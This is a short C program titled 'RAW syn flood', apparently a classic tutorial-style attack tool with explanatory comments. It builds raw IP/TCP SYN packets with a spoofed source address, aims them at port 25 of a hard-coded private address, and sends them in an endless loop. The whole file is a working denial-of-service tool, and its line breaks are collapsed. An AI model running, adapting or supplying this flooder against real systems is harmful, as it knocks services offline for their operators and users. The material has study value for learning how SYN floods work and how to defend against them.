RAW syn flood

#define __USE_BSD	/* use bsd'ish ip header */#include <sys/socket.h>	/* these headers are for a Linux system, but */#include <netinet/in.h>	/* the names on other systems are easy to guess.. */#include <netinet/ip.h>#define __FAVOR_BSD	/* use bsd'ish tcp header */#include <netinet/tcp.h>#include <unistd.h>#define P 25		/* lets flood the sendmail port */unsigned short		/* this function generates header checksums */csum (unsigned short *buf, int nwords){  unsigned long sum;  for (sum = 0; nwords > 0; nwords--)    sum += *buf++;  sum = (sum >> 16) + (sum & 0xffff);  sum += (sum >> 16);  return ~sum;}int main (void){  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	/* open raw socket */  char datagram[4096];	/* this buffer will contain ip header, tcp header,			   and payload. we'll point an ip header structure			   at its beginning, and a tcp header structure after			   that to write the header values into it */  struct ip *iph = (struct ip *) datagram;  struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));  struct sockaddr_in sin;			/* the sockaddr_in containing the dest. address is used			   in sendto() to determine the datagrams path */  sin.sin_family = AF_INET;  sin.sin_port = htons (P);/* you byte-order >1byte header values to network			      byte order (not needed on big endian machines) */  sin.sin_addr.s_addr = inet_addr ("192.168.1.247");  memset (datagram, 0, 4096);	/* zero out the buffer *//* we'll now fill in the ip/tcp header values, see above for explanations */  iph->ip_hl = 5;  iph->ip_v = 4;  iph->ip_tos = 0;  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);	/* no payload */  iph->ip_id = htonl (54321);	/* the value doesn't matter here */  iph->ip_off = 0;  iph->ip_ttl = 255;  iph->ip_p = 6;  iph->ip_sum = 0;		/* set it to 0 before computing the actual checksum later */  iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */  iph->ip_dst.s_addr = sin.sin_addr.s_addr;  tcph->th_sport = htons (12345);	/* arbitrary port */  tcph->th_dport = htons (P);  tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */  tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */  tcph->th_x2 = 0;  tcph->th_off = 5;		/* first and only tcp segment */  tcph->th_flags = TH_SYN;	/* initial connection request */  tcph->th_win = htonl (65535);	/* maximum allowed window size */  tcph->th_urp = 0;  tcph->th_sum = 0; /* if you set a checksum to zero, your kernel's IP stack		      should fill in the correct checksum during transmission *///printf ("%d\n%d",tcph->th_sport,datagram[21]);//return 1;  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);/* finally, it is very advisable to do a IP_HDRINCL call, to make sure   that the kernel knows the header is included in the data, and doesn't   insert its own header into the packet before our data */  {				/* lets do it the ugly way.. */    int one = 1;    const int *val = &one;    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)      printf ("Warning: Cannot set HDRINCL!\n");  }  while (1)    {      if (sendto (s,		/* our socket */		  datagram,	/* the buffer containing headers and data */		  iph->ip_len,	/* total length of our datagram */		  0,		/* routing flags, normally always 0 */		  (struct sockaddr *) &sin,	/* socket addr, just like in */		  sizeof (sin)) < 0)		/* a normal send() */	printf ("error.\n");      else	printf (".");    }  return 0;}